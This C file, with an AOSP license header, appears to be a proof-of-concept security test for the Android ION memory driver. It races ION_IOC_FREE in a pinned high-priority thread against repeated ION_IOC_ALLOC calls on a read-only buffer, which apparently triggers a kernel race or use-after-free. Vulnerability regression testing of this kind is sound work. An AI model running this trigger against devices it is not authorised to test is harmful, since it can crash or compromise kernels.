1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <errno.h>
18 #include <stdlib.h>
19 #include <unistd.h>
20 #include <stdio.h>
21 #include <dirent.h>
22 #include <string.h>
23 #include <sys/stat.h>
24 #include <sys/ioctl.h>
25 #include <stdio.h>
26 #include <string.h>
27 #include <dlfcn.h>
28 #include <sys/time.h>
29 #include <sys/mman.h>
30 #include <sys/syscall.h>
31 #include <sys/resource.h>
32 #include <fcntl.h>
33 #include <pthread.h>
34 #include <unistd.h>
35 #include <sched.h>
36
37 typedef int ion_user_handle_t;
38
39 enum ion_heap_type {
40 ION_HEAP_TYPE_SYSTEM,
41 ION_HEAP_TYPE_SYSTEM_CONTIG,
42 ION_HEAP_TYPE_CARVEOUT,
43 ION_HEAP_TYPE_CHUNK,
44 ION_HEAP_TYPE_DMA,
45 ION_HEAP_TYPE_CUSTOM, /* must be last so device specific heaps always
46 are at the end of this enum */
47 ION_NUM_HEAPS = 16,
48 };
49
50 #define ION_HEAP_SYSTEM_MASK (1 << ION_HEAP_TYPE_SYSTEM)
51 #define ION_HEAP_SYSTEM_CONTIG_MASK (1 << ION_HEAP_TYPE_SYSTEM_CONTIG)
52 #define ION_HEAP_CARVEOUT_MASK (1 << ION_HEAP_TYPE_CARVEOUT)
53 #define ION_HEAP_TYPE_DMA_MASK (1 << ION_HEAP_TYPE_DMA)
54
55 #define ION_NUM_HEAP_IDS sizeof(unsigned int) * 8
56
57 struct ion_allocation_data {
58 size_t len;
59 size_t align;
60 unsigned int heap_id_mask;
61 unsigned int flags;
62 ion_user_handle_t handle;
63 };
64
65
66 struct ion_fd_data {
67 ion_user_handle_t handle;
68 int fd;
69 };
70
71
72 struct ion_handle_data {
73 ion_user_handle_t handle;
74 };
75
76
77 struct ion_custom_data {
78 unsigned int cmd;
79 unsigned long arg;
80 };
81 #define ION_IOC_MAGIC 'I'
82
83 #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
84 struct ion_allocation_data)
85
86 #define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
87
88
89 #define ION_FLAG_CACHED 1 /* mappings of this buffer should be
90 cached, ion will do cache
91 maintenance when the buffer is
92 mapped for dma */
93 #define ION_FLAG_CACHED_NEEDS_SYNC 2 /* mappings of this buffer will created
94 at mmap time, if this is set
95 caches must be managed manually */
96
97 int g_fd = -1;
98 struct ion_allocation_data* g_allocation = NULL;
99 struct ion_handle_data g_free_data;
100 static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
101 static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
102
open_driver()103 int open_driver() {
104 char* dev_path = "/dev/ion";
105 g_fd = open(dev_path, O_RDONLY);
106 if (g_fd < 0) {
107 printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
108 } else {
109 printf("[*] open file(%s) succ!\n", dev_path);
110 }
111 return g_fd;
112 }
113
prepare_data()114 void prepare_data() {
115 void* data = malloc(0x1000);
116
117 g_allocation = (struct ion_allocation_data*)data;
118
119 g_allocation->len = 0x1000;
120 g_allocation->align = 8;
121 g_allocation->heap_id_mask = 1 << 25;
122 g_allocation->flags = ION_FLAG_CACHED;
123 g_allocation->handle = -1;
124
125 mprotect(data, 0x1000, PROT_READ);
126 printf("[*] mprotect, error = %d\n", errno);
127
128 g_free_data.handle = 1;
129 }
130
trigger_ion_alloc()131 void trigger_ion_alloc() {
132 ioctl(g_fd, ION_IOC_ALLOC, g_allocation);
133 }
134
trigger_ion_free()135 void trigger_ion_free() {
136 ioctl(g_fd, ION_IOC_FREE, &g_free_data);
137 }
138
setup_privi_and_affinity(int privi,unsigned long cpu_mask)139 void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
140 setpriority(PRIO_PROCESS, gettid(), privi);
141
142 /* bind process to a CPU*/
143 if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
144 }
145 }
race_thread(void * arg)146 void* race_thread(void* arg) {
147 setup_privi_and_affinity(-19, 2);
148 while (1) {
149 pthread_mutex_lock(&mutex);
150 pthread_cond_wait(&cond, &mutex);
151 trigger_ion_free();
152 pthread_mutex_unlock(&mutex);
153 }
154
155 }
156
157
main(int argc,char ** argv)158 int main(int argc, char**argv) {
159 if (open_driver() < 0) {
160 return -1;
161 }
162 setup_privi_and_affinity(0, 1);
163 prepare_data();
164 pthread_t tid;
165 pthread_create(&tid, NULL, race_thread, NULL);
166 sleep(1);
167 while (1) {
168 pthread_cond_signal(&cond);
169 usleep(100);
170 trigger_ion_alloc();
171 sleep(1);
172 }
173
174 return 0;
175 }
176